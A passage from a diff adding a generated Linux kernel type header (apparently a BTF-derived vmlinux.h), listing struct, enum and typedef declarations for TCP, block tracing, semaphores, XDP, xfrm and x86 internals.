tcpi_pacing_rate; + __u64 tcpi_max_pacing_rate; + __u64 tcpi_bytes_acked; + __u64 tcpi_bytes_received; + __u32 tcpi_segs_out; + __u32 tcpi_segs_in; + __u32 tcpi_notsent_bytes; + __u32 tcpi_min_rtt; + __u32 tcpi_data_segs_in; + __u32 tcpi_data_segs_out; + __u64 tcpi_delivery_rate; + __u64 tcpi_busy_time; + __u64 tcpi_rwnd_limited; + __u64 tcpi_sndbuf_limited; + __u32 tcpi_delivered; + __u32 tcpi_delivered_ce; + __u64 tcpi_bytes_sent; + __u64 tcpi_bytes_retrans; + __u32 tcpi_dsack_dups; + __u32 tcpi_reord_seen; + __u32 tcpi_rcv_ooopack; + __u32 tcpi_snd_wnd; + __u32 tcpi_rcv_wnd; + __u32 tcpi_rehash; +}; + +enum { + TCP_NLA_PAD = 0, + TCP_NLA_BUSY = 1, + TCP_NLA_RWND_LIMITED = 2, + TCP_NLA_SNDBUF_LIMITED = 3, + TCP_NLA_DATA_SEGS_OUT = 4, + TCP_NLA_TOTAL_RETRANS = 5, + TCP_NLA_PACING_RATE = 6, + TCP_NLA_DELIVERY_RATE = 7, + TCP_NLA_SND_CWND = 8, + TCP_NLA_REORDERING = 9, + TCP_NLA_MIN_RTT = 10, + TCP_NLA_RECUR_RETRANS = 11, + TCP_NLA_DELIVERY_RATE_APP_LMT = 12, + TCP_NLA_SNDQ_SIZE = 13, + TCP_NLA_CA_STATE = 14, + TCP_NLA_SND_SSTHRESH = 15, + TCP_NLA_DELIVERED = 16, + TCP_NLA_DELIVERED_CE = 17, + TCP_NLA_BYTES_SENT = 18, + TCP_NLA_BYTES_RETRANS = 19, + TCP_NLA_DSACK_DUPS = 20, + TCP_NLA_REORD_SEEN = 21, + TCP_NLA_SRTT = 22, + TCP_NLA_TIMEOUT_REHASH = 23, + TCP_NLA_BYTES_NOTSENT = 24, + TCP_NLA_EDT = 25, + TCP_NLA_TTL = 26, + TCP_NLA_REHASH = 27, +}; + +struct tcp_zerocopy_receive { + __u64 address; + __u32 length; + __u32 recv_skip_hint; + __u32 inq; + __s32 err; + __u64 copybuf_address; + __s32 copybuf_len; + __u32 flags; + __u64 msg_control; + __u64 msg_controllen; + __u32 msg_flags; + __u32 reserved; +}; + +enum { + BPF_TCP_ESTABLISHED = 1, + BPF_TCP_SYN_SENT = 2, + BPF_TCP_SYN_RECV = 3, + BPF_TCP_FIN_WAIT1 = 4, + BPF_TCP_FIN_WAIT2 = 5, + BPF_TCP_TIME_WAIT = 6, + BPF_TCP_CLOSE = 7, + BPF_TCP_CLOSE_WAIT = 8, + BPF_TCP_LAST_ACK = 9, + BPF_TCP_LISTEN = 10, + BPF_TCP_CLOSING = 11, + BPF_TCP_NEW_SYN_RECV = 12, + BPF_TCP_MAX_STATES = 13, +}; + +enum { + TCP_CMSG_INQ = 1, + TCP_CMSG_TS = 2, +}; + +struct tcp_splice_state { + struct pipe_inode_info *pipe; + size_t len; + unsigned int flags; +}; + +struct nduseroptmsg { + unsigned char nduseropt_family; + unsigned char nduseropt_pad1; + short unsigned int nduseropt_opts_len; + int nduseropt_ifindex; + __u8 nduseropt_icmp_type; + __u8 nduseropt_icmp_code; + short unsigned int nduseropt_pad2; + unsigned int nduseropt_pad3; +}; + +enum { + NDUSEROPT_UNSPEC = 0, + NDUSEROPT_SRCADDR = 1, + __NDUSEROPT_MAX = 2, +}; + +struct rs_msg { + struct icmp6hdr icmph; + __u8 opt[0]; +}; + +struct ra_msg { + struct icmp6hdr icmph; + __be32 reachable_time; + __be32 retrans_timer; +}; + +struct nft_ct_frag6_pernet { + struct ctl_table_header *nf_frag_frags_hdr; + struct fqdir *fqdir; +}; + +struct saved_msr { + bool valid; + struct msr_info info; +}; + +struct saved_msrs { + unsigned int num; + struct saved_msr *array; +}; + +struct saved_context { + struct pt_regs regs; + u16 ds; + u16 es; + u16 fs; + u16 gs; + long unsigned int kernelmode_gs_base; + long unsigned int usermode_gs_base; + long unsigned int fs_base; + long unsigned int cr0; + long unsigned int cr2; + long unsigned int cr3; + long unsigned int cr4; + u64 misc_enable; + struct saved_msrs saved_msrs; + long unsigned int efer; + u16 gdt_pad; + struct desc_ptr gdt_desc; + u16 idt_pad; + struct desc_ptr idt; + u16 ldt; + u16 tss; + long unsigned int tr; + long unsigned int safety; + long unsigned int return_address; + bool misc_enable_saved; +} __attribute__((packed)); + +typedef int (*pm_cpu_match_t)(const struct x86_cpu_id *); + +struct msr_enumeration { + u32 msr_no; + u32 feature; +}; + +struct amd_uncore { + int id; + int refcnt; + int cpu; + int num_counters; + int rdpmc_base; + u32 msr_base; + cpumask_t *active_mask; + struct pmu *pmu; + struct perf_event **events; + struct hlist_node node; +}; + +enum { + NONE_FORCE_HPET_RESUME = 0, + OLD_ICH_FORCE_HPET_RESUME = 1, + ICH_FORCE_HPET_RESUME = 2, + VT8237_FORCE_HPET_RESUME = 3, + NVIDIA_FORCE_HPET_RESUME = 4, + ATI_FORCE_HPET_RESUME = 5, +}; + +struct efi_runtime_map_entry { + efi_memory_desc_t md; + struct kobject kobj; +}; + +struct map_attribute { + struct attribute attr; + ssize_t (*show)(struct efi_runtime_map_entry *, char *); +}; + +struct irqchip_fwid { + struct fwnode_handle fwnode; + unsigned int type; + char *name; + phys_addr_t *pa; +}; + +enum cgroup_filetype { + CGROUP_FILE_PROCS = 0, + CGROUP_FILE_TASKS = 1, +}; + +struct cgroup_pidlist { + struct { + enum cgroup_filetype type; + struct pid_namespace *ns; + } key; + pid_t *list; + int length; + struct list_head links; + struct cgroup *owner; + struct delayed_work destroy_dwork; +}; + +enum cgroup1_param { + Opt_all = 0, + Opt_clone_children = 1, + Opt_cpuset_v2_mode = 2, + Opt_name = 3, + Opt_none = 4, + Opt_noprefix = 5, + Opt_release_agent = 6, + Opt_xattr = 7, + Opt_favordynmods___2 = 8, + Opt_nofavordynmods = 9, +}; + +struct tracer_stat { + const char *name; + void * (*stat_start)(struct tracer_stat *); + void * (*stat_next)(void *, int); + cmp_func_t stat_cmp; + int (*stat_show)(struct seq_file *, void *); + void (*stat_release)(void *); + int (*stat_headers)(struct seq_file *); +}; + +struct stat_node { + struct rb_node node; + void *stat; +}; + +struct stat_session { + struct list_head session_list; + struct tracer_stat *ts; + struct rb_root stat_root; + struct mutex stat_mutex; + struct dentry *file; +}; + +struct trace_probe_log { + const char *subsystem; + const char **argv; + int argc; + int index; +}; + +struct bpf_local_storage_elem { + struct hlist_node map_node; + struct hlist_node snode; + struct bpf_local_storage *local_storage; + struct callback_head rcu; + long: 64; + struct bpf_local_storage_data sdata; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; +}; + +struct bpf_local_storage_cache { + spinlock_t idx_lock; + u64 idx_usage_counts[16]; +}; + +struct syscall_info { + __u64 sp; + struct seccomp_data data; +}; + +enum resctrl_conf_type { + CDP_NONE = 0, + CDP_CODE = 1, + CDP_DATA = 2, +}; + +struct pid_entry { + const char *name; + unsigned int len; + umode_t mode; + const struct inode_operations *iop; + const struct file_operations *fop; + union proc_op op; +}; + +struct limit_names { + const char *name; + const char *unit; +}; + +struct map_files_info { + long unsigned int start; + long unsigned int end; + fmode_t mode; +}; + +struct tgid_iter { + unsigned int tgid; + struct task_struct *task; +}; + +struct trace_event_raw_netfs_read { + struct trace_entry ent; + unsigned int rreq; + unsigned int cookie; + loff_t start; + size_t len; + enum netfs_read_trace what; + unsigned int netfs_inode; + char __data[0]; +}; + +struct trace_event_raw_netfs_rreq { + struct trace_entry ent; + unsigned int rreq; + unsigned int flags; + enum netfs_io_origin origin; + enum netfs_rreq_trace what; + char __data[0]; +}; + +struct trace_event_raw_netfs_sreq { + struct trace_entry ent; + unsigned int rreq; + short unsigned int index; + short int error; + short unsigned int flags; + enum netfs_io_source source; + enum netfs_sreq_trace what; + size_t len; + size_t transferred; + loff_t start; + char __data[0]; +}; + +struct trace_event_raw_netfs_failure { + struct trace_entry ent; + unsigned int rreq; + short int index; + short int error; + short unsigned int flags; + enum netfs_io_source source; + enum netfs_failure what; + size_t len; + size_t transferred; + loff_t start; + char __data[0]; +}; + +struct trace_event_raw_netfs_rreq_ref { + struct trace_entry ent; + unsigned int rreq; + int ref; + enum netfs_rreq_ref_trace what; + char __data[0]; +}; + +struct trace_event_raw_netfs_sreq_ref { + struct trace_entry ent; + unsigned int rreq; + unsigned int subreq; + int ref; + enum netfs_sreq_ref_trace what; + char __data[0]; +}; + +struct trace_event_data_offsets_netfs_read {}; + +struct trace_event_data_offsets_netfs_rreq {}; + +struct trace_event_data_offsets_netfs_sreq {}; + +struct trace_event_data_offsets_netfs_failure {}; + +struct trace_event_data_offsets_netfs_rreq_ref {}; + +struct trace_event_data_offsets_netfs_sreq_ref {}; + +typedef void (*btf_trace_netfs_read)(void *, struct netfs_io_request *, loff_t, size_t, enum netfs_read_trace); + +typedef void (*btf_trace_netfs_rreq)(void *, struct netfs_io_request *, enum netfs_rreq_trace); + +typedef void (*btf_trace_netfs_sreq)(void *, struct netfs_io_subrequest *, enum netfs_sreq_trace); + +typedef void (*btf_trace_netfs_failure)(void *, struct netfs_io_request *, struct netfs_io_subrequest *, int, enum netfs_failure); + +typedef void (*btf_trace_netfs_rreq_ref)(void *, unsigned int, int, enum netfs_rreq_ref_trace); + +typedef void (*btf_trace_netfs_sreq_ref)(void *, unsigned int, unsigned int, int, enum netfs_sreq_ref_trace); + +struct sem; + +struct sem_queue; + +struct sem_undo; + +struct semid_ds { + struct ipc_perm sem_perm; + __kernel_old_time_t sem_otime; + __kernel_old_time_t sem_ctime; + struct sem *sem_base; + struct sem_queue *sem_pending; + struct sem_queue **sem_pending_last; + struct sem_undo *undo; + short unsigned int sem_nsems; +}; + +struct sem { + int semval; + struct pid *sempid; + spinlock_t lock; + struct list_head pending_alter; + struct list_head pending_const; + time64_t sem_otime; + long: 64; +}; + +struct sem_queue { + struct list_head list; + struct task_struct *sleeper; + struct sem_undo *undo; + struct pid *pid; + int status; + struct sembuf *sops; + struct sembuf *blocking; + int nsops; + bool alter; + bool dupsop; +}; + +struct sem_undo { + struct list_head list_proc; + struct callback_head rcu; + struct sem_undo_list *ulp; + struct list_head list_id; + int semid; + short int *semadj; +}; + +struct semid64_ds { + struct ipc64_perm sem_perm; + __kernel_long_t sem_otime; + __kernel_ulong_t __unused1; + __kernel_long_t sem_ctime; + __kernel_ulong_t __unused2; + __kernel_ulong_t sem_nsems; + __kernel_ulong_t __unused3; + __kernel_ulong_t __unused4; +}; + +struct seminfo { + int semmap; + int semmni; + int semmns; + int semmnu; + int semmsl; + int semopm; + int semume; + int semusz; + int semvmx; + int semaem; +}; + +struct sem_undo_list { + refcount_t refcnt; + spinlock_t lock; + struct list_head list_proc; +}; + +struct sem_array { + struct kern_ipc_perm sem_perm; + time64_t sem_ctime; + struct list_head pending_alter; + struct list_head pending_const; + struct list_head list_id; + int sem_nsems; + int complex_count; + unsigned int use_global_lock; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + struct sem sems[0]; +}; + +struct sha1_state { + u32 state[5]; + u64 count; + u8 buffer[64]; +}; + +typedef void sha1_block_fn(struct sha1_state *, const u8 *, int); + +struct blk_plug_cb; + +typedef void (*blk_plug_cb_fn)(struct blk_plug_cb *, bool); + +struct blk_plug_cb { + struct list_head list; + blk_plug_cb_fn callback; + void *data; +}; + +struct trace_event_raw_block_buffer { + struct trace_entry ent; + dev_t dev; + sector_t sector; + size_t size; + char __data[0]; +}; + +struct trace_event_raw_block_rq_requeue { + struct trace_entry ent; + dev_t dev; + sector_t sector; + unsigned int nr_sector; + char rwbs[8]; + u32 __data_loc_cmd; + char __data[0]; +}; + +struct trace_event_raw_block_rq_completion { + struct trace_entry ent; + dev_t dev; + sector_t sector; + unsigned int nr_sector; + int error; + char rwbs[8]; + u32 __data_loc_cmd; + char __data[0]; +}; + +struct trace_event_raw_block_rq { + struct trace_entry ent; + dev_t dev; + sector_t sector; + unsigned int nr_sector; + unsigned int bytes; + char rwbs[8]; + char comm[16]; + u32 __data_loc_cmd; + char __data[0]; +}; + +struct trace_event_raw_block_bio_complete { + struct trace_entry ent; + dev_t dev; + sector_t sector; + unsigned int nr_sector; + int error; + char rwbs[8]; + char __data[0]; +}; + +struct trace_event_raw_block_bio { + struct trace_entry ent; + dev_t dev; + sector_t sector; + unsigned int nr_sector; + char rwbs[8]; + char comm[16]; + char __data[0]; +}; + +struct trace_event_raw_block_plug { + struct trace_entry ent; + char comm[16]; + char __data[0]; +}; + +struct trace_event_raw_block_unplug { + struct trace_entry ent; + int nr_rq; + char comm[16]; + char __data[0]; +}; + +struct trace_event_raw_block_split { + struct trace_entry ent; + dev_t dev; + sector_t sector; + sector_t new_sector; + char rwbs[8]; + char comm[16]; + char __data[0]; +}; + +struct trace_event_raw_block_bio_remap { + struct trace_entry ent; + dev_t dev; + sector_t sector; + unsigned int nr_sector; + dev_t old_dev; + sector_t old_sector; + char rwbs[8]; + char __data[0]; +}; + +struct trace_event_raw_block_rq_remap { + struct trace_entry ent; + dev_t dev; + sector_t sector; + unsigned int nr_sector; + dev_t old_dev; + sector_t old_sector; + unsigned int nr_bios; + char rwbs[8]; + char __data[0]; +}; + +struct trace_event_data_offsets_block_buffer {}; + +struct trace_event_data_offsets_block_rq_requeue { + u32 cmd; +}; + +struct trace_event_data_offsets_block_rq_completion { + u32 cmd; +}; + +struct trace_event_data_offsets_block_rq { + u32 cmd; +}; + +struct trace_event_data_offsets_block_bio_complete {}; + +struct trace_event_data_offsets_block_bio {}; + +struct trace_event_data_offsets_block_plug {}; + +struct trace_event_data_offsets_block_unplug {}; + +struct trace_event_data_offsets_block_split {}; + +struct trace_event_data_offsets_block_bio_remap {}; + +struct trace_event_data_offsets_block_rq_remap {}; + +typedef void (*btf_trace_block_touch_buffer)(void *, struct buffer_head *); + +typedef void (*btf_trace_block_dirty_buffer)(void *, struct buffer_head *); + +typedef void (*btf_trace_block_rq_requeue)(void *, struct request *); + +typedef void (*btf_trace_block_rq_complete)(void *, struct request *, blk_status_t, unsigned int); + +typedef void (*btf_trace_block_rq_error)(void *, struct request *, blk_status_t, unsigned int); + +typedef void (*btf_trace_block_rq_insert)(void *, struct request *); + +typedef void (*btf_trace_block_rq_issue)(void *, struct request *); + +typedef void (*btf_trace_block_rq_merge)(void *, struct request *); + +typedef void (*btf_trace_block_bio_complete)(void *, struct request_queue *, struct bio *); + +typedef void (*btf_trace_block_bio_bounce)(void *, struct bio *); + +typedef void (*btf_trace_block_bio_backmerge)(void *, struct bio *); + +typedef void (*btf_trace_block_bio_frontmerge)(void *, struct bio *); + +typedef void (*btf_trace_block_bio_queue)(void *, struct bio *); + +typedef void (*btf_trace_block_getrq)(void *, struct bio *); + +typedef void (*btf_trace_block_plug)(void *, struct request_queue *); + +typedef void (*btf_trace_block_unplug)(void *, struct request_queue *, unsigned int, bool); + +typedef void (*btf_trace_block_split)(void *, struct bio *, unsigned int); + +typedef void (*btf_trace_block_bio_remap)(void *, struct bio *, dev_t, sector_t); + +typedef void (*btf_trace_block_rq_remap)(void *, struct request *, dev_t, sector_t); + +struct throtl_grp; + +struct throtl_qnode { + struct list_head node; + struct bio_list bios; + struct throtl_grp *tg; +}; + +struct throtl_service_queue { + struct throtl_service_queue *parent_sq; + struct list_head queued[2]; + unsigned int nr_queued[2]; + struct rb_root_cached pending_tree; + unsigned int nr_pending; + long unsigned int first_pending_disptime; + struct timer_list pending_timer; +}; + +struct throtl_grp { + struct blkg_policy_data pd; + struct rb_node rb_node; + struct throtl_data *td; + struct throtl_service_queue service_queue; + struct throtl_qnode qnode_on_self[2]; + struct throtl_qnode qnode_on_parent[2]; + long unsigned int disptime; + unsigned int flags; + bool has_rules_bps[2]; + bool has_rules_iops[2]; + uint64_t bps[4]; + uint64_t bps_conf[4]; + unsigned int iops[4]; + unsigned int iops_conf[4]; + uint64_t bytes_disp[2]; + unsigned int io_disp[2]; + long unsigned int last_low_overflow_time[2]; + uint64_t last_bytes_disp[2]; + unsigned int last_io_disp[2]; + uint64_t carryover_bytes[2]; + unsigned int carryover_ios[2]; + long unsigned int last_check_time; + long unsigned int latency_target; + long unsigned int latency_target_conf; + long unsigned int slice_start[2]; + long unsigned int slice_end[2]; + long unsigned int last_finish_time; + long unsigned int checked_last_finish_time; + long unsigned int avg_idletime; + long unsigned int idletime_threshold; + long unsigned int idletime_threshold_conf; + unsigned int bio_cnt; + unsigned int bad_bio_cnt; + long unsigned int bio_cnt_reset_time; + struct blkg_rwstat stat_bytes; + struct blkg_rwstat stat_ios; +}; + +struct io_splice { + struct file *file_out; + loff_t off_out; + loff_t off_in; + u64 len; + int splice_fd_in; + unsigned int flags; +}; + +typedef int (*list_cmp_func_t)(void *, const struct list_head *, const struct list_head *); + +struct iov_iter_state { + size_t iov_offset; + size_t count; + long unsigned int nr_segs; +}; + +typedef s32 compat_ssize_t; + +struct compat_iovec { + compat_uptr_t iov_base; + compat_size_t iov_len; +}; + +struct barrett_ctx_s; + +typedef struct barrett_ctx_s *mpi_barrett_t; + +struct gcry_mpi_point { + MPI x; + MPI y; + MPI z; +}; + +typedef struct gcry_mpi_point *MPI_POINT; + +enum gcry_mpi_ec_models { + MPI_EC_WEIERSTRASS = 0, + MPI_EC_MONTGOMERY = 1, + MPI_EC_EDWARDS = 2, +}; + +enum ecc_dialects { + ECC_DIALECT_STANDARD = 0, + ECC_DIALECT_ED25519 = 1, + ECC_DIALECT_SAFECURVE = 2, +}; + +struct mpi_ec_ctx { + enum gcry_mpi_ec_models model; + enum ecc_dialects dialect; + int flags; + unsigned int nbits; + MPI p; + MPI a; + MPI b; + MPI_POINT G; + MPI n; + unsigned int h; + MPI_POINT Q; + MPI d; + const char *name; + struct { + struct { + unsigned int a_is_pminus3: 1; + unsigned int two_inv_p: 1; + } valid; + int a_is_pminus3; + MPI two_inv_p; + mpi_barrett_t p_barrett; + MPI scratch[11]; + } t; + void (*addm)(MPI, MPI, MPI, struct mpi_ec_ctx *); + void (*subm)(MPI, MPI, MPI, struct mpi_ec_ctx *); + void (*mulm)(MPI, MPI, MPI, struct mpi_ec_ctx *); + void (*pow2)(MPI, const MPI, struct mpi_ec_ctx *); + void (*mul2)(MPI, MPI, struct mpi_ec_ctx *); +}; + +struct field_table { + const char *p; + void (*addm)(MPI, MPI, MPI, struct mpi_ec_ctx *); + void (*subm)(MPI, MPI, MPI, struct mpi_ec_ctx *); + void (*mulm)(MPI, MPI, MPI, struct mpi_ec_ctx *); + void (*mul2)(MPI, MPI, struct mpi_ec_ctx *); + void (*pow2)(MPI, const MPI, struct mpi_ec_ctx *); +}; + +struct trace_event_raw_msr_trace_class { + struct trace_entry ent; + unsigned int msr; + u64 val; + int failed; + char __data[0]; +}; + +struct trace_event_data_offsets_msr_trace_class {}; + +typedef void (*btf_trace_read_msr)(void *, unsigned int, u64, int); + +typedef void (*btf_trace_write_msr)(void *, unsigned int, u64, int); + +typedef void (*btf_trace_rdpmc)(void *, unsigned int, u64, int); + +struct acpi_fadt_info { + const char *name; + u16 address64; + u16 address32; + u16 length; + u8 default_length; + u8 flags; +}; + +struct acpi_fadt_pm_info { + struct acpi_generic_address *target; + u16 source; + u8 register_num; +}; + +enum { + IFLA_VF_LINK_STATE_AUTO = 0, + IFLA_VF_LINK_STATE_ENABLE = 1, + IFLA_VF_LINK_STATE_DISABLE = 2, + __IFLA_VF_LINK_STATE_MAX = 3, +}; + +struct input_mask { + __u32 type; + __u32 codes_size; + __u64 codes_ptr; +}; + +struct evdev_client; + +struct evdev { + int open; + struct input_handle handle; + struct evdev_client *grab; + struct list_head client_list; + spinlock_t client_lock; + struct mutex mutex; + struct device dev; + struct cdev cdev; + bool exist; +}; + +struct evdev_client { + unsigned int head; + unsigned int tail; + unsigned int packet_head; + spinlock_t buffer_lock; + wait_queue_head_t wait; + struct fasync_struct *fasync; + struct evdev *evdev; + struct list_head node; + enum input_clock_type clk_type; + bool revoked; + long unsigned int *evmasks[32]; + unsigned int bufsize; + struct input_event buffer[0]; +}; + +struct dmi_memdev_info { + const char *device; + const char *bank; + u64 size; + u16 handle; + u8 type; +}; + +struct skb_seq_state { + __u32 lower_offset; + __u32 upper_offset; + __u32 frag_idx; + __u32 stepped_offset; + struct sk_buff *root_skb; + struct sk_buff *cur_skb; + __u8 *frag_data; + __u32 frag_off; +}; + +struct ip_auth_hdr { + __u8 nexthdr; + __u8 hdrlen; + __be16 reserved; + __be32 spi; + __be32 seq_no; + __u8 auth_data[0]; +}; + +enum skb_drop_reason_subsys { + SKB_DROP_REASON_SUBSYS_CORE = 0, + SKB_DROP_REASON_SUBSYS_MAC80211_UNUSABLE = 1, + SKB_DROP_REASON_SUBSYS_MAC80211_MONITOR = 2, + SKB_DROP_REASON_SUBSYS_NUM = 3, +}; + +struct drop_reason_list { + const char * const *reasons; + size_t n_reasons; +}; + +struct ts_state { + unsigned int offset; + char cb[48]; +}; + +struct ts_config; + +struct ts_ops { + const char *name; + struct ts_config * (*init)(const void *, unsigned int, gfp_t, int); + unsigned int (*find)(struct ts_config *, struct ts_state *); + void (*destroy)(struct ts_config *); + void * (*get_pattern)(struct ts_config *); + unsigned int (*get_pattern_len)(struct ts_config *); + struct module *owner; + struct list_head list; +}; + +struct ts_config { + struct ts_ops *ops; + int flags; + unsigned int (*get_next_block)(unsigned int, const u8 **, struct ts_config *, struct ts_state *); + void (*finish)(struct ts_config *, struct ts_state *); +}; + +struct page_frag_1k { + void *va; + u16 offset; + bool pfmemalloc; +}; + +struct napi_alloc_cache { + struct page_frag_cache page; + struct page_frag_1k page_small; + unsigned int skb_count; + void *skb_cache[64]; +}; + +struct skb_free_array { + unsigned int skb_count; + void *skb_array[16]; +}; + +typedef int (*sendmsg_func)(struct sock *, struct msghdr *, struct kvec *, size_t, size_t); + +typedef int (*sendpage_func)(struct sock *, struct page *, int, size_t, int); + +enum { + TCA_EMATCH_TREE_UNSPEC = 0, + TCA_EMATCH_TREE_HDR = 1, + TCA_EMATCH_TREE_LIST = 2, + __TCA_EMATCH_TREE_MAX = 3, +}; + +struct tcf_ematch_hdr { + __u16 matchid; + __u16 kind; + __u16 flags; + __u16 pad; +}; + +struct wol_reply_data { + struct ethnl_reply_data base; + struct ethtool_wolinfo wol; + bool show_sopass; +}; + +enum tcp_metric_index { + TCP_METRIC_RTT = 0, + TCP_METRIC_RTTVAR = 1, + TCP_METRIC_SSTHRESH = 2, + TCP_METRIC_CWND = 3, + TCP_METRIC_REORDERING = 4, + TCP_METRIC_RTT_US = 5, + TCP_METRIC_RTTVAR_US = 6, + __TCP_METRIC_MAX = 7, +}; + +enum { + TCP_METRICS_ATTR_UNSPEC = 0, + TCP_METRICS_ATTR_ADDR_IPV4 = 1, + TCP_METRICS_ATTR_ADDR_IPV6 = 2, + TCP_METRICS_ATTR_AGE = 3, + TCP_METRICS_ATTR_TW_TSVAL = 4, + TCP_METRICS_ATTR_TW_TS_STAMP = 5, + TCP_METRICS_ATTR_VALS = 6, + TCP_METRICS_ATTR_FOPEN_MSS = 7, + TCP_METRICS_ATTR_FOPEN_SYN_DROPS = 8, + TCP_METRICS_ATTR_FOPEN_SYN_DROP_TS = 9, + TCP_METRICS_ATTR_FOPEN_COOKIE = 10, + TCP_METRICS_ATTR_SADDR_IPV4 = 11, + TCP_METRICS_ATTR_SADDR_IPV6 = 12, + TCP_METRICS_ATTR_PAD = 13, + __TCP_METRICS_ATTR_MAX = 14, +}; + +enum { + TCP_METRICS_CMD_UNSPEC = 0, + TCP_METRICS_CMD_GET = 1, + TCP_METRICS_CMD_DEL = 2, + __TCP_METRICS_CMD_MAX = 3, +}; + +struct tcp_fastopen_metrics { + u16 mss; + u16 syn_loss: 10; + u16 try_exp: 2; + long unsigned int last_syn_loss; + struct tcp_fastopen_cookie cookie; +}; + +struct tcp_metrics_block { + struct tcp_metrics_block *tcpm_next; + possible_net_t tcpm_net; + struct inetpeer_addr tcpm_saddr; + struct inetpeer_addr tcpm_daddr; + long unsigned int tcpm_stamp; + u32 tcpm_lock; + u32 tcpm_vals[5]; + struct tcp_fastopen_metrics tcpm_fastopen; + struct callback_head callback_head; +}; + +struct tcpm_hash_bucket { + struct tcp_metrics_block *chain; +}; + +struct ip_comp_hdr { + __u8 nexthdr; + __u8 flags; + __be16 cpi; +}; + +enum { + IFLA_XFRM_UNSPEC = 0, + IFLA_XFRM_LINK = 1, + IFLA_XFRM_IF_ID = 2, + IFLA_XFRM_COLLECT_METADATA = 3, + __IFLA_XFRM_MAX = 4, +}; + +enum { + LWT_XFRM_UNSPEC = 0, + LWT_XFRM_IF_ID = 1, + LWT_XFRM_LINK = 2, + __LWT_XFRM_MAX = 3, +}; + +struct xfrm_if_parms { + int link; + u32 if_id; + bool collect_md; +}; + +struct xfrm_if { + struct xfrm_if *next; + struct net_device *dev; + struct net *net; + struct xfrm_if_parms p; + struct gro_cells gro_cells; +}; + +struct xfrm6_protocol { + int (*handler)(struct sk_buff *); + int (*input_handler)(struct sk_buff *, int, __be32, int); + int (*cb_handler)(struct sk_buff *, int); + int (*err_handler)(struct sk_buff *, struct inet6_skb_parm *, u8, u8, int, __be32); + struct xfrm6_protocol *next; + int priority; +}; + +struct xfrmi_net { + struct xfrm_if *xfrmi[256]; + struct xfrm_if *collect_md_xfrmi; +}; + +struct netlbl_calipso_ops { + int (*doi_add)(struct calipso_doi *, struct netlbl_audit *); + void (*doi_free)(struct calipso_doi *); + int (*doi_remove)(u32, struct netlbl_audit *); + struct calipso_doi * (*doi_getdef)(u32); + void (*doi_putdef)(struct calipso_doi *); + int (*doi_walk)(u32 *, int (*)(struct calipso_doi *, void *), void *); + int (*sock_getattr)(struct sock *, struct netlbl_lsm_secattr *); + int (*sock_setattr)(struct sock *, const struct calipso_doi *, const struct netlbl_lsm_secattr *); + void (*sock_delattr)(struct sock *); + int (*req_setattr)(struct request_sock *, const struct calipso_doi *, const struct netlbl_lsm_secattr *); + void (*req_delattr)(struct request_sock *); + int (*opt_getattr)(const unsigned char *, struct netlbl_lsm_secattr *); + unsigned char * (*skbuff_optptr)(const struct sk_buff *); + int (*skbuff_setattr)(struct sk_buff *, const struct calipso_doi *, const struct netlbl_lsm_secattr *); + int (*skbuff_delattr)(struct sk_buff *); + void (*cache_invalidate)(); + int (*cache_add)(const unsigned char *, const struct netlbl_lsm_secattr *); +}; + +enum { + NLBL_CALIPSO_C_UNSPEC = 0, + NLBL_CALIPSO_C_ADD = 1, + NLBL_CALIPSO_C_REMOVE = 2, + NLBL_CALIPSO_C_LIST = 3, + NLBL_CALIPSO_C_LISTALL = 4, + __NLBL_CALIPSO_C_MAX = 5, +}; + +enum { + NLBL_CALIPSO_A_UNSPEC = 0, + NLBL_CALIPSO_A_DOI = 1, + NLBL_CALIPSO_A_MTYPE = 2, + __NLBL_CALIPSO_A_MAX = 3, +}; + +struct netlbl_calipso_doiwalk_arg { + struct netlink_callback *nl_cb; + struct sk_buff *skb; + u32 seq; +}; + +struct netlbl_domhsh_walk_arg___2 { + struct netlbl_audit *audit_info; + u32 doi; +}; + +struct sockaddr_xdp { + __u16 sxdp_family; + __u16 sxdp_flags; + __u32 sxdp_ifindex; + __u32 sxdp_queue_id; + __u32 sxdp_shared_umem_fd; +}; + +struct xdp_ring_offset { + __u64 producer; + __u64 consumer; + __u64 desc; + __u64 flags; +}; + +struct xdp_mmap_offsets { + struct xdp_ring_offset rx; + struct xdp_ring_offset tx; + struct xdp_ring_offset fr; + struct xdp_ring_offset cr; +}; + +struct xdp_umem_reg { + __u64 addr; + __u64 len; + __u32 chunk_size; + __u32 headroom; + __u32 flags; +}; + +struct xdp_statistics { + __u64 rx_dropped; + __u64 rx_invalid_descs; + __u64 tx_invalid_descs; + __u64 rx_ring_full; + __u64 rx_fill_ring_empty_descs; + __u64 tx_ring_empty_descs; +}; + +struct xdp_options { + __u32 flags; +}; + +struct xdp_ring_offset_v1 { + __u64 producer; + __u64 consumer; + __u64 desc; +}; + +struct xdp_mmap_offsets_v1 { + struct xdp_ring_offset_v1 rx; + struct xdp_ring_offset_v1 tx; + struct xdp_ring_offset_v1 fr; + struct xdp_ring_offset_v1 cr; +}; + +struct compress_format { + unsigned char magic[2]; + const char *name; + decompress_fn decompressor; +}; + +struct klist_waiter { + struct list_head list; + struct klist_node *node; + struct task_struct *process; + int woken; +}; + +enum perf_msr_id { + PERF_MSR_TSC = 0, + PERF_MSR_APERF = 1, + PERF_MSR_MPERF = 2, + PERF_MSR_PPERF = 3, + PERF_MSR_SMI = 4, + PERF_MSR_PTSC = 5, + PERF_MSR_IRPERF = 6, + PERF_MSR_THERM = 7, + PERF_MSR_EVENT_MAX = 8, +}; + +struct boot_params_to_save { + unsigned int start; + unsigned int len; +}; + +typedef struct ldttss_desc ldt_desc; + +enum x86_regset_32 { + REGSET32_GENERAL = 0, + REGSET32_FP = 1, + REGSET32_XFP = 2, + REGSET32_XSTATE = 3, + REGSET32_TLS = 4, + REGSET32_IOPERM = 5, +}; + +enum x86_regset_64 { + REGSET64_GENERAL = 0, + REGSET64_FP = 1, + REGSET64_IOPERM = 2, + REGSET64_XSTATE = 3, +}; + +struct pt_regs_offset { + const char *name; + int offset; +}; + +struct cpuid_regs_done { + struct cpuid_regs regs; + struct completion done; +}; + +struct trace_event_raw_x86_exceptions { + struct trace_entry ent; + long unsigned int address; + long unsigned int ip; + long unsigned int error_code; + char __data[0]; +}; + +struct trace_event_data_offsets_x86_exceptions {}; + +typedef void (*btf_trace_page_fault_user)(void *, long unsigned int, struct pt_regs *, long unsigned int); + +typedef void (*btf_trace_page_fault_kernel)(void *, long unsigned int, struct pt_regs *, long unsigned int); + +struct latch_tree_ops { + bool (*less)(struct 